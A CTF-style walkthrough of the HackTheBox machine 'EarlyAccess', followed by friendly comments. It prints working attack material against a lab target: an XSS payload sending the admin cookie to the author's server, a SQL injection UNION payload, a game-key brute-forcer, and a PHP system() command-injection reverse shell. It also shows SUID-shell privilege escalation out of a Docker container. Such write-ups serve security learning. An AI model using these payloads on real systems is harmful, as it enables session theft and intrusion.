HackTheBox: EarlyAccess - Detailed Walkthrough
Background & Summary
This was the 17th box I rooted on HackTheBox, and probably the hardest box I've rooted on HTB. It took me roughly a week to complete from IP to root. That being said, it's also my favorite box on HTB.
EarlyAccess is a linux box which begins with an XSS vulnerability which can be leveraged to gain administrative access to the website running on it. From the admin page, two more pages can be accessed, and an offline early access game key validation script can be downloaded. Reverse engineering a valid game key provides access to one of the two new pages, where you can actually play Snake in your web browser. The leaderboard feature of this page reveals a SQL injection vulnerability where the hash of the admin password can be obtained and cracked. This password can be used to access the second new page, where a command injection vulnerability leads to RCE as www-data.
After enumerating the box as www-data, it is found to be a docker container. Password reuse can be exploited to escalate laterally from www-data to www-adm. Further enumeration as www-adm reveals another password for the user drew. Using these credentials, drew can be SSH'ed into and the user flag can be obtained. Using an SSH key inside of drew's authorized_keys file allows SSH access into another docker container. Enumeration of the box and the docker container reveals a script which automatically restarts the docker container if the Node JS server encounters an error. Interestingly, this script doesn't only restart the Node JS server, but also executes all bash scripts in the directory. A bash script can be placed in this directory and the game server can be chiseled onto the attacking machine and crashed.
After crashing the Node JS server, root access onto the docker container can be obtained. The sh shell binary can be copied into a mutual directory between the container and the box, and then given the SUID bit. The user can then run the sh shell from the mutual directory to gain root access to the box.
Enumeration
Nmap
nmap -sC -sV 10.10.11.110 -vv
Nmap reveals three open ports: 22, 80, and 443. Nmap also reveals that the box is running Debian, the website is hosted using Apache, and is redirecting anything on port 80 (HTTP) to earlyaccess.htb. We need to add this IP to our hosts file before trying to access it in a browser:
echo "10.10.11.110 earlyaccess.htb" | sudo tee -a /etc/hosts
Apache
Hitting this address in the browser reveals the following webpage:
We should create an account to continue enumeration. The home page reveals five options: home, messaging, forum, store, and register key.
The site also allows you to update account details:
XSS
Navigating to the Messaging tab, we find that we can send messages to the administrator of this website, and get a response that the message has been read:
Even though they can't seem to fix matchmaking like I requested, we can try to utilize this feature to steal the admin's login cookie. The easiest way to do this would be through an XSS vulnerability. We can test if my username is vulnerable by putting an alert inside a <script> tag:
After sending another message to the admin, we can see that our alert is successfully firing from the username:
We can now write a short piece of javascript which attempts to access a webpage on our own HTTPS server (not HTTP, as the site serves on 443) with the admin cookie in the URL. There is probably a cleaner way to do this, but I found appending the cookie to the URL to be the fastest because the cookie can easily be copy/pasted from the terminal. First, we change our name to the following:
<script>var i=new Image(); i.src="https://10.10.14.31/"+document.cookie</script>
This malicious script creates a new image with our soon-to-be-made HTTPS server as the source, and appends the clicker's cookies to source. Next, let's create the HTTPS server and start it using the following Python script.
import http.server, ssl
server_address = ('0.0.0.0', 443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?server_side=True,
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?certfile='localhost.pem',
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?ssl_version=ssl.PROTOCOL_TLS)
httpd.serve_forever()
After sending another message to the admin, they fall for our trap, and we can successfully grab the admin cookie!
We should clean this response before we use it, as it is URL encoded:
Finally, we can change our cookie in the browser to these values and escalate our account up to the administrator.
Reverse Engineering an Early Access Code
As admin, we now have access to some additional functionality, as well as two subdomains located at dev.earlyaccess.htb and game.earlyaccess.htb. As with earlyaccess.htb, we should add these subdomains to our hosts file:
echo "10.10.11.110 dev.earlyaccess.htb" | sudo tee -a /etc/hosts
echo "10.10.11.110 game.earlyaccess.htb" | sudo tee -a /etc/hosts
We are unable to login to the dev subdomain because it requires the administrator's password, and the game subdomain requires an account with a valid early access key.
Enumerating further, we see that the admin can download a backup of the key validation script, as well as test whether an arbitrary key is valid:
With this in mind, we can download the key-validator to see whether we can forge our own key, and test it using the verify function. The key validation script is as follows:
#!/usr/bin/env python3
import sys
from re import match
class Key:
? ? key = ""
? ? magic_value = "XP" # Static (same on API)
? ? magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
? ? def __init__(self, key:str, magic_num:int=346):
? ? ? ? self.key = key
? ? ? ? if magic_num != 0:
? ? ? ? ? ? self.magic_num = magic_num
? ? @staticmethod
? ? def info() -> str:
? ? ? ? return f"""
? ? ? ? # Game-Key validator #
? ? ? ? Can be used to quickly verify a user's game key, when the API is down (again).
? ? ? ? Keys look like the following:
? ? ? ? AAAAA-BBBBB-CCCC1-DDDDD-1234
? ? ? ? Usage: {sys.argv[0]} <game-key>"""
? ? def valid_format(self) -> bool:
? ? ? ? return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))
? ? def calc_cs(self) -> int:
? ? ? ? gs = self.key.split('-')[:-1]
? ? ? ? return sum([sum(bytearray(g.encode())) for g in gs])
? ? def g1_valid(self) -> bool:
? ? ? ? g1 = self.key.split('-')[0]
? ? ? ? r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
? ? ? ? if r != [221, 81, 145]:
? ? ? ? ? ? return False
? ? ? ? for v in g1[3:]:
? ? ? ? ? ? try:
? ? ? ? ? ? ? ? int(v)
? ? ? ? ? ? except:
? ? ? ? ? ? ? ? return False
? ? ? ? return len(set(g1)) == len(g1)
? ? def g2_valid(self) -> bool:
? ? ? ? g2 = self.key.split('-')[1]
? ? ? ? p1 = g2[::2]
? ? ? ? p2 = g2[1::2]
? ? ? ? return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
? ? def g3_valid(self) -> bool:
? ? ? ? # TODO: Add mechanism to sync magic_num with API
? ? ? ? g3 = self.key.split('-')[2]
? ? ? ? if g3[0:2] == self.magic_value:
? ? ? ? ? ? return sum(bytearray(g3.encode())) == self.magic_num
? ? ? ? else:
? ? ? ? ? ? return False
? ? def g4_valid(self) -> bool:
? ? ? ? return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
? ? def cs_valid(self) -> bool:
? ? ? ? cs = int(self.key.split('-')[-1])
? ? ? ? return self.calc_cs() == cs
? ? def check(self) -> bool:
? ? ? ? if not self.valid_format():
? ? ? ? ? ? print('Key format invalid!')
? ? ? ? ? ? return False
? ? ? ? if not self.g1_valid():
? ? ? ? ? ? return False
? ? ? ? if not self.g2_valid():
? ? ? ? ? ? return False
? ? ? ? if not self.g3_valid():
? ? ? ? ? ? return False
? ? ? ? if not self.g4_valid():
? ? ? ? ? ? return False
? ? ? ? if not self.cs_valid():
? ? ? ? ? ? print('[Critical] Checksum verification failed!')
? ? ? ? ? ? return False
? ? ? ? return True
if __name__ == "__main__":
? ? if len(sys.argv) != 2:
? ? ? ? print(Key.info())
? ? ? ? sys.exit(-1)
? ? input = sys.argv[1]
? ? validator = Key(input)
? ? if validator.check():
? ? ? ? print(f"Entered key is valid!")
? ? else:
? ? ? ? print(f"Entered key is invalid!")
After analysis of the script, we see that all keys are in the form AAAAA-BBBBB-CCCC1-DDDD-1234. Each group must follow the format defined in the valid_format function:
? ? def valid_format(self) -> bool:
? ? ? ? return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))
Each group of characters are checked individually, and if any are not valid, the script fails and breaks out of the if/else chain, resulting in an invalid key. Importantly, we also see that there is a magic value and magic number, with the magic value being static "XP," and the magic number changing every 30 minutes. Unless there is a way to find the magic number, we will need to brute force it. Fortunately, the magic number and value are only used in the third group:
? ? def g3_valid(self) -> bool:
? ? ? ? # TODO: Add mechanism to sync magic_num with API
? ? ? ? g3 = self.key.split('-')[2]
? ? ? ? if g3[0:2] == self.magic_value:
? ? ? ? ? ? return sum(bytearray(g3.encode())) == self.magic_num
? ? ? ? else:
? ? ? ? ? ? return False
Another important piece of the script is the checksum verification:
? ? def cs_valid(self) -> bool:
? ? ? ? cs = int(self.key.split('-')[-1])
? ? ? ? return self.calc_cs() == cs
? ? def calc_cs(self) -> int:
? ? ? ? gs = self.key.split('-')[:-1]
? ? ? ? return sum([sum(bytearray(g.encode())) for g in gs])
The upshot of the checksum is that when we change the third group's magic number, we need to recalculate the checksum. The rest of the key can be static and does not need to change.
Because the search space is so small, it's easy to brute force the static groups (g1, g2, and g4). First, we find that g1 must start with the characters KEY. Second, g2 is split into two parts, p1 and p2, with p1 containing even numbers and p2 containing odd numbers. P1 and p2 are then compared, meaning that any numbers which match the equation 3*even = 2*odd will be valid.
The third group, as we know, utilizes the magic number and magic value, but our search space is reduced by the magic value being XP.
Lastly, the fourth group XOR's each character from the first group with the corresponding character from group 4, and the result should match a static value. Eventually, I found that one possible key (without the dynamic matches) is the following:
KEY12-BZAZ1-XPDD1-GAMD2-1234
With "DD1" and "1234" being the part of the key which changes. We can write a Python script which will calculate all the possible keys:
key1 = "KEY12-BZAZ1-
key2 = "-GAMD2"
min=178
ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
NUM = "0123456789"
count = 0
cache = []
for x in ALPHABET:
? ? for y in ALPHABET:
? ? ? ? for z in NUM:
? ? ? ? ? ? subkey=int(ord(x)) + int(ord(y)) + int(ord(z))
? ? ? ? ? ? if subkey >= min:
? ? ? ? ? ? ? ? key = key1+"XP"+x+y+z+"-GAMD2-"
? ? ? ? ? ? ? ? g3 = "XP"+x+y+z
? ? ? ? ? ? ? ? newsum = sum(bytearray(g3.encode()))
? ? ? ? ? ? ? ? if newsum not in cache:
? ? ? ? ? ? ? ? ? ? cache.append(newsum)
? ? ? ? ? ? ? ? ? ? gs = str(key).split('-')[:-1]
? ? ? ? ? ? ? ? ? ? number= sum([sum(bytearray(g.encode())) for g in gs])
? ? ? ? ? ? ? ? ? ? key += str(number)
? ? ? ? ? ? ? ? ? ? print(key)
? ? ? ? ? ? ? ? ? ? count += 1
print("count = " + str(count))"
Running this script gives us a nice list of all the 60 possible keys!
Bruteforcing the Access Code
The last thing to do is try every early access code until we use the one with the magic number that matches the website's backend. With only 60 possibilities, it's possible to do this manually, but I found it easiest to redirect the output into a text file and use Burpsuite's Intruder function.
python3 brute.py >> keys.txt
After we start the attack, we can filter for the string "Game-key is invalid!", and if Burp finds no matches, we know that the key worked.
If we navigate to game.earlyaccess.htb, we can login with our account and play Snake! It is truly innovative and immersive.
SQL Injection
Simple enumeration of this new site reveals two new pages: Scoreboard, and Global Leaderboard. Scoreboard displays the current user's top ten best scores, and Global Leaderboard displays the best scores for all users. The biggest difference between the two pages is that the Global Scoreboard filters users by email (privacy violation?), while the Scoreboard shows the current player's username. We don't have much control over our email, as it must be in the form of user@domain. We do, however, have full control over our username. Changing our username to a single comma reveals a SQL injection vulnerability:
We can "error hop" to arrive at the following SQL statement:
') UNION SELECT username,password from USERS
This error tells us that the SQL statement is formatted correctly, and the "username" column doesn't exist. We can try "name" instead:
We can now append numbers until the number of columns being pulled matches what MySQL expects. Fortunately, it only expects three columns. Our final SQL injection statement is as follows:
') UNION SELECT name,password,1 from USERS-- -
We correctly get names and hashed passwords from the database:
Hashcat
To crack the admin's password, we can paste the hash into a text file and let Hashcat crack it. Judging by the length of the hash, it is likely to be SHA-1. SHA-1 mode in Hashcat is 100, so we can run the following command to crack the password:
hashcat -m 100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat successfully cracks the password, which is found to be "gameover."
RCE
With this password, we can log into the second subdomain at dev.earlyaccess.htb.
Admin's have the option to hash a string, or verify a hash. There is also a "File-Tools" feature, however the UI (not the functionality!) has yet to be implemented:
领英推荐
If we enumerate further, we find that using the hashing tools feature sends POST requests to /actions/hash.php:
Theoretically, if any of the file tools are implemented, it would likely be another PHP file under the actions directory. We can use Gobuster to find any other possible PHP files:
gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://dev.earlyaccess.htb/actions/ -x php --cookies PHPSESSID=5d4c832470a89f98980fd438eb76122d
Gobuster reveals another PHP script at file.php:
Unfortunately, the parameter "file" is not accepted, meaning we need to brute force the parameter name as well. We can use ffuf to make this easier:
ffuf -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u "https://dev.earlyaccess.htb/actions/file.php?FUZZ=test" -b "PHPSESSID=5d4c832470a89f98980fd438eb76122d" -mc 500 -fw 3
We find that the correct parameter name is "filepath." However, any files outside of the working directory are prohibited from being accessed through file.php, such as /etc/passwd:
A common LFI bypass is to use PHP filters, such as php://filter/convert.base64-encode. While we can't use this method to access resources outside of the working directory, we can successfully use it to grab the source code of the hash.php file.
The source code of the hash.php file is as follows:
<?php
include_once "../includes/session.php";
function hash_pw($hash_function, $password)
{
? ? // DEVELOPER-NOTE: There has gotta be an easier way...
? ? ob_start();
? ? // Use inputted hash_function to hash password
? ? $hash = @$hash_function($password);
? ? ob_end_clean();
? ? return $hash;
}
try
{
? ? if(isset($_REQUEST['action']))
? ? {
? ? ? ? if($_REQUEST['action'] === "verify")
? ? ? ? {
? ? ? ? ? ? // VERIFIES $password AGAINST $hash
? ? ? ? ? ? if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
? ? ? ? ? ? {
? ? ? ? ? ? ? ? // Only allow custom hashes, if `debug` is set
? ? ? ? ? ? ? ? if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
? ? ? ? ? ? ? ? ? ? throw new Exception("Only MD5 and SHA1 are currently supported!");
? ? ? ? ? ? ? ? $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
? ? ? ? ? ? ? ? $_SESSION['verify'] = ($hash === $_REQUEST['hash']);
? ? ? ? ? ? ? ? header('Location: /home.php?tool=hashing');
? ? ? ? ? ? ? ? return;
? ? ? ? ? ? }
? ? ? ? }
? ? ? ? elseif($_REQUEST['action'] === "verify_file")
? ? ? ? {
? ? ? ? ? ? //TODO: IMPLEMENT FILE VERIFICATION
? ? ? ? }
? ? ? ? elseif($_REQUEST['action'] === "hash_file")
? ? ? ? {
? ? ? ? ? ? //TODO: IMPLEMENT FILE-HASHING
? ? ? ? }
? ? ? ? elseif($_REQUEST['action'] === "hash")
? ? ? ? {
? ? ? ? ? ? // HASHES $password USING $hash_function
? ? ? ? ? ? if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
? ? ? ? ? ? {
? ? ? ? ? ? ? ? // Only allow custom hashes, if `debug` is set
? ? ? ? ? ? ? ? if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
? ? ? ? ? ? ? ? ? ? throw new Exception("Only MD5 and SHA1 are currently supported!");
? ? ? ? ? ? ? ? $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
? ? ? ? ? ? ? ? if(!isset($_REQUEST['redirect']))
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
? ? ? ? ? ? ? ? ? ? echo '<br>' . $hash;
? ? ? ? ? ? ? ? ? ? return;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? else
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? $_SESSION['hash'] = $hash;
? ? ? ? ? ? ? ? ? ? header('Location: /home.php?tool=hashing');
? ? ? ? ? ? ? ? ? ? return;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? }
? ? ? ? }
? ? }
? ? // Action not set, ignore
? ? throw new Exception("");
}
catch(Exception $ex)
{
? ? if($ex->getMessage() !== "")
? ? ? ? $_SESSION['error'] = htmlentities($ex->getMessage());
? ? header('Location: /home.php');
? ? return;
}
?>
The most interesting part of this file is the hash_pw function, which is executed when the "debug" parameter is set to true:
function hash_pw($hash_function, $password)
{
? ? // DEVELOPER-NOTE: There has gotta be an easier way...
? ? ob_start();
? ? // Use inputted hash_function to hash password
? ? $hash = @$hash_function($password);
? ? ob_end_clean();
? ? return $hash;
}
We find that the PHP script takes the hash function directly from the hash_function parameter and executes it with the password function. However, there is no check that this parameter could be something besides a hash function! We can simply replace the hash function with the PHP system function, and include our own code inside the password parameter.
If we open a Netcat listener on port 4321 on our own machine, we successfully get a reverse shell as www-data!
Lateral Escalation (all of them...)
Looking at the passwd file, we see there is a user on this machine named www-adm, with a default bash shell and UID of 1000:
This is likely the first account to break into. Considering we found the password for the Administrator on the site, we should test this password against www-adm:
Success!
To continue enumeration, we should start with this user's home directory. We notice a strange file called .wgetrc, which happens to include a plaintext password.
The user "API" and a password indicates there is an API running on this machine. This is a great opportunity to utilize netcat to it's fullest. We can first try to connect to the API on a random port using netcat. After we get a response with the IP that the API is running on, we can use netcat again to port scan the IP and find the port associated with the API:
We find that the API is running on port 5000. If we curl the API, we see that this is the game-verification API:
Enumerating further, the "/check_db" page looks interesting. We are not authorized to curl it, but we can use wget instead. After opening the file, we find credentials for an account named "drew":
"Env":["MYSQL_DATABASE=db","MYSQL_USER=drew","MYSQL_PASSWORD=drew","MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5","SERVICE_TAGS=dev","SERVICE_NAME=mysql"
We should test to see if this MySQL password was reused for Drew's account by attempting to SSH into his account:
Bam! We can grab the user.txt flag and start working on root.
Lateral Escalation to game-adm
Listing the contents of /etc/passwd, we find there are two notable accounts with shells on the machine: drew, and game-adm.
Additionally, further enumeration leads us to /var/mail, where we find a message sent to drew from the EarlyAccess team:
We can deduce that drew is a tester of a game that EarlyAccess is working on. We also see that this message was sent from the game-adm account, and drew has access to a "game-server." The rest of the message will be important for pulling off the privilege escalation, but for now, our sights should be set on moving to the game-adm account.
First, we can try to access the game server. The most logical place for the game-server is a docker container, and drew has likely already SSH'd into it. We should check their .ssh folder to see if there are any keys:
We do see a key for the game-server, which means we don't need to find a password to SSH into it. However, the IP is unknown:
We do know it is probably on one of the docker subnets, however (172.17-19.0.2-255):
We can write a quick bash script which attempts to connect to port 22 on every IP within all three subnets.
#!/bin/bash
for i in $(seq 19 19)
do
? ? ? ? for j in $(seq 2 5)
? ? ? ? do
? ? ? ? ? ? ? ? (nc -z 172.$i.0.$j 22 >/dev/null && echo "172.$i.0.$j")
? ? ? ? done
done
We can then successfully use this IP to SSH into an account called "game-tester" (we know this username exists from drew's SSH folder):
Looking at the root of this docker container, we can see two non-standards files/folders:
Docker-entrypoint contains a bash script which installs the correct dependencies and starts the NodeJS server. Entrypoint.sh contains the following bash script:
#!/bin/bash
for ep in /docker-entrypoint.d/*; do
if [ -x "${ep}" ]; then
? ? echo "Running: ${ep}"
? ? "${ep}" &
? fi
done
tail -f /dev/null
This script executes every executable file in the docker-entrypoint.d folder. This is probably the health check feature the development team mentioned in the message to drew. Theoretically, if we can place a malicious bash script inside this folder, we can achieve ACE. To do this, we need a way to crash the game server in order to execute the bash script. Let's find the server and port forward it!
We can run the ss command in place of "netstat" to look at what ports are currently listening in the docker container we found previously:
Port 9999 seems to be the odd one out. When we curl it, we get an interesting response:
This looks like the game drew is testing! We could enumerate this page with curl, but I prefer to use my browser on Kali. To accomplish this, we can port forward 9999. I prefer to use Chisel to port forward, but you can also do this with vanilla SSH.
We can now successfully access the rock-paper-scissors game in our browser:
The only option with user input is autoplay:
Since our goal is to crash the server, we can try to enter a number it doesn't expect, such as a negative, or a decimal. The first number I tried was 3.3. The site prevents you from submitting a decimal, but we can get around this using a proxy:
Forwarding this POST request results in the server crashing!
Let's create a bash script inside the docker-entrypoint directory that creates a bash binary with the SUID bit set. When the entrypoint.sh script runs as root, it should allow us (game-tester) to run bash as root.
Then, we crash the server the same we did previously. If everything works, we should be able to run bash -p and obtain a root shell on the docker container:
To finish off the privilege escalation, we can similarly copy the sh shell to the shared docker-entrypoint folder, and add the SUID bit:
Finally, we can switch back to drew, and run the executable:
With that, EarlyAccess is rooted!
What a ride! As a result of completing this box, I learned a significant amount about docker containers, reverse engineering, source code analysis, and enumeration with netcat. I loved the theme of the box and the hints it gave you along the way, even when it tested my patience. I found the hardest parts to be the RCE, enumeration of docker containers, and number of lateral escalations required to root the box.
If you got this far, thank you so much for reading!
As an instructor, it is both exhilarating and humbling when your former students start teaching you. This is a great write-up that taught me a thing or two. Very well done Sasha! It's been my honor and privilege to be a part of your Cybersecurity journey ??.
1st year PhD @ UCSD CSE
2 年Sasha, this was a great recap! I had a feeling EarlyAccess was your favorite machine. Keep the articles coming!
Computer and Information Technology Graduate Student concentrating in Cyberforensics at Purdue University
2 年Very interesting Sasha! Keep up the good work!?